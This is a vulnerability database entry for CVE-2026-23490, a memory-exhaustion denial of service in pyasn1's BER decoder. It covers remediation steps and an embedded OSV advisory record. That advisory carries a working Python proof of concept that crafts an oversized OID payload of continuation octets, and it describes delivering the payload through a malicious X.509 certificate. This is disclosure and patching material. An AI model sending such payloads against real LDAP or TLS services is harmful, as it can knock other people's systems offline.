CVE-2026-23490: Pyasn1 Denial of Service Vulnerability
HIGHCVE-2026-23490 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Pyasn1 libraries in the PyPI ecosystem. The issue involves pyasn1 has a dos vulnerability in decoder. Remediation is available by upgrading affected packages to version 0.6.2.
CVE-2026-23490 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-23490
To remediate this vulnerability, upgrade all affected Pyasn1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyasn1>=0.6.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyasn1
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-23490, inspect your installed packages using pip:
pip show pyasn1
Analyze the terminal output to locate any version of Pyasn1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.2), your application is affected.
Note: The pip show pyasn1 command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Pyasn1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23490 Affected Pyasn1 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyasn1
|
PyPI |
≥ 0.6.1
< 0.6.2
All 1 versions
0.6.1
|
0.6.2
|
References
Frequently Asked Questions
What is CVE-2026-23490?
Which Pyasn1 versions are affected?
What version fixes CVE-2026-23490?
Is pyasn1 affected?
What is the CVSS score of CVE-2026-23490?
What CWE is associated with CVE-2026-23490?
How can I check PyPI dependencies for CVE-2026-23490?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-63vm-454h-vhhq",
"modified" : "2026-08-14T15:32:04Z",
"published" : "2026-01-16T19:19:25Z",
"aliases" : [ "CVE-2026-23490" ],
"summary" : "pyasn1 has a DoS vulnerability in decoder",
"details" : "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyasn1"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.6.1"
}, {
"fixed" : "0.6.2"
} ]
} ],
"versions" : [ "0.6.1" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
}, {
"type" : "WEB",
"url" : "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
}, {
"type" : "WEB",
"url" : "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4148"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4147"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4146"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4145"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4144"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4143"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4142"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4141"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4140"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4139"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4138"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:39894"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:3959"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:3958"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2302"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:41928"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:42644"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:4943"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:54757"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:5606"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/security/cve/CVE-2026-23490"
}, {
"type" : "WEB",
"url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-63vm-454h-vhhq"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyasn1/pyasn1"
}, {
"type" : "WEB",
"url" : "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
}, {
"type" : "WEB",
"url" : "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/pyasn1"
}, {
"type" : "WEB",
"url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2300"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2299"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2221"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:19712"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:1906"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:1905"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:1904"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:1903"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:17611"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:17595"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:17446"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:14020"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:13553"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:13545"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:13512"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:13508"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:37275"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:3359"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:3354"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:30088"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:28042"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2758"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2712"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:24977"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:24866"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2486"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2483"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2460"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2453"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:24483"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:24476"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2309"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/errata/RHSA-2026:2303"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-16T19:19:25Z",
"nvd_published_at" : "2026-01-16T19:16:19Z"
}
}